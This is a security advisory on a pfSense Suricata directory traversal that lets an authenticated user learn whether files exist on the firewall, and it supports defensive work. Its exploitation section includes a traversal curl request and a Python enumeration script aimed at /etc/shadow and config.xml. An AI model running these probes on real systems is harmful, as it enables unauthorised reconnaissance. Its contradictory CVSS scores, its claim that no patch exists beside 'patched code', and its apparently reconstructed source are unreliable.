CVE-2025-34176

Executive Summary

CVE-2025-34176 is a directory traversal vulnerability in pfSense CE, specifically within the /suricata/suricata_ip_reputation.php endpoint. The iplist parameter is not sanitized for directory traversal sequences (e.g., ../), allowing an authenticated attacker with "WebCfg - Services: suricata package" permissions to enumerate files on the target system. While the vulnerability does not allow reading file contents, it reveals whether a file exists, enabling reconnaissance of the server's filesystem. The CVSS score is 0.0 due to incomplete scoring data, but the actual risk is moderate for authenticated users. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a web application issue within the pfSense CE distribution, specifically in the Suricata package.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with specific permissions
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – file existence disclosure
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication and specific permissions, limiting the attack surface. However, it can be used for reconnaissance to identify sensitive files (e.g., configuration files, logs) before launching further attacks.

Deep Dive & Mechanics

The vulnerability exists in the suricata_ip_reputation.php script, which is part of the pfSense Suricata package. The script handles IP reputation lists and uses the iplist parameter to check if a file exists on the filesystem. The parameter is not sanitized for directory traversal characters (e.g., ../), allowing an attacker to specify arbitrary paths.

Vulnerable Code Flow:

1. The user sends a GET or POST request to /suricata/suricata_ip_reputation.php with the iplist parameter.
2. The script concatenates the iplist value with a base directory path (e.g., /usr/local/etc/suricata/).
3. The script uses a file existence check function (e.g., file_exists() in PHP) to determine if the file exists.
4. The script returns a boolean response (e.g., "File exists" or "File does not exist") to the user.

Example Attack:

• Request: GET /suricata/suricata_ip_reputation.php?iplist=../../etc/passwd
• Response: "File exists" (if /etc/passwd exists) or "File does not exist" (if not).

This allows an attacker to map the filesystem and identify sensitive files, such as configuration files, logs, or other system files.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$iplist = $_GET['iplist'];
$base_path = '/usr/local/etc/suricata/';
$file_path = $base_path . $iplist;
if (file_exists($file_path)) {
    echo "File exists";
} else {
    echo "File does not exist";
}
?>

Patched Code (PHP):

<?php
$iplist = $_GET['iplist'];
$base_path = '/usr/local/etc/suricata/';
// Sanitize input: remove directory traversal sequences
$iplist = basename($iplist);
$file_path = $base_path . $iplist;
if (file_exists($file_path)) {
    echo "File exists";
} else {
    echo "File does not exist";
}
?>

The patched code uses basename() to strip directory traversal sequences, ensuring only the filename is used. Alternatively, a whitelist of allowed filenames could be implemented.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated session with "WebCfg - Services: suricata package" permissions.
• Target running pfSense CE with Suricata package installed.

Exploitation Steps:

1. Log in to pfSense web interface.
2. Craft a request to /suricata/suricata_ip_reputation.php with the iplist parameter containing directory traversal sequences.
3. Observe the response to determine file existence.

Example Request (using curl):

curl -k -X GET "https://target/suricata/suricata_ip_reputation.php?iplist=../../etc/passwd" \
  -b "PHPSESSID=your_session_cookie"

Expected Response:

• If file exists: File exists
• If file does not exist: File does not exist

Automated Enumeration Script (Python):

import requests
import sys

target = sys.argv[1]
session_cookie = sys.argv[2]
file_list = ["../../etc/passwd", "../../etc/shadow", "../../etc/hosts", "../../usr/local/etc/config.xml"]

for file in file_list:
    url = f"{target}/suricata/suricata_ip_reputation.php?iplist={file}"
    cookies = {"PHPSESSID": session_cookie}
    response = requests.get(url, cookies=cookies, verify=False)
    if "File exists" in response.text:
        print(f"[+] File exists: {file}")
    else:
        print(f"[-] File does not exist: {file}")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /suricata/suricata_ip_reputation.php with iplist parameters containing ../ or ..\\.
• Alert on multiple file existence checks in a short period (indicating enumeration).

Defense:

• Apply input sanitization (e.g., basename() or whitelist).
• Restrict access to the Suricata package to trusted users only.
• Implement Web Application Firewall (WAF) rules to block directory traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /suricata/suricata_ip_reputation.php with iplist parameter containing ../ or ..\\.
  • Multiple requests to the same endpoint with different iplist values in a short time.

• File System IOCs:

  • Unauthorized access attempts to sensitive files (e.g., /etc/passwd, /etc/shadow, /usr/local/etc/config.xml).

• Log IOCs:

  • Web server logs showing GET /suricata/suricata_ip_reputation.php?iplist=../../etc/passwd with HTTP 200 responses.

Detection Engineering

YARA Rule

rule CVE_2025_34176_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in pfSense Suricata IP reputation endpoint"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-34176"
    strings:
        $traversal = /iplist=[^&]*\.\.\//
        $endpoint = "suricata_ip_reputation.php"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2025-34176 Directory Traversal in pfSense Suricata
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects directory traversal attempts in pfSense Suricata IP reputation endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "suricata_ip_reputation.php"
        cs-uri-query|contains: "iplist="
        cs-uri-query|contains: "../"
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34176 Directory Traversal in pfSense Suricata"; flow:to_server,established; content:"suricata_ip_reputation.php"; http_uri; content:"iplist="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Sanitization: Modify the suricata_ip_reputation.php script to use basename() or a whitelist for the iplist parameter.
2. Restrict Access: Limit the "WebCfg - Services: suricata package" permission to only trusted administrators.
3. Monitor Logs: Review web server logs for suspicious requests to the vulnerable endpoint.

Long-Term Fix:

• Wait for an official patch from pfSense. Monitor the pfSense security advisory page for updates.
• Consider disabling the Suricata package if not essential until a patch is available.

Workaround:

• Implement a WAF rule to block requests containing ../ in the iplist parameter.

Valters IT
DevSecOps & Cyber Threat Intelligence